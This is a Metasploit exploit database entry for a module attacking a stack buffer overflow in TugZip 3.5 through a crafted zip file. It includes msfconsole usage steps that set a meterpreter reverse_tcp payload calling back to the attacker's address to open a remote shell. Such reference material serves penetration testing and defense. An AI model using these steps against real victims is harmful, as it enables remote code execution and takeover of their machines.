TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability | Metasploit Exploit Database (DB)

TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability

This module exploits a stack-based buffer overflow vulnerability in the latest version 3.5 of TugZip archiving utility. In order to trigger the vulnerability, an attacker must convince someone to load a specially crafted zip file with TugZip by double click or file open. By doing so, an attacker can execute arbitrary code as the victim user.

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Exploit Rank

  • Good

Exploit Authors

  • Stefan Marin < >
  • Lincoln < >
  • TecR0c < roccogiovannicalvi [at] gmail.com >
  • mr_me < steventhomasseeley [at] gmail.com >

Vulnerability References


Exploit Targets

  • 0 - Universal (default)

Exploit Development


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Exploit Usage Information

$ msfconsole

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msf > use exploit/windows/fileformat/tugzip
msf exploit(tugzip) > show payloads
msf exploit(tugzip) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(tugzip) > set LHOST [MY IP ADDRESS]
msf exploit(tugzip) > exploit


Exploit Module Options

FILENAME The output file name. (default: msf.zip)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session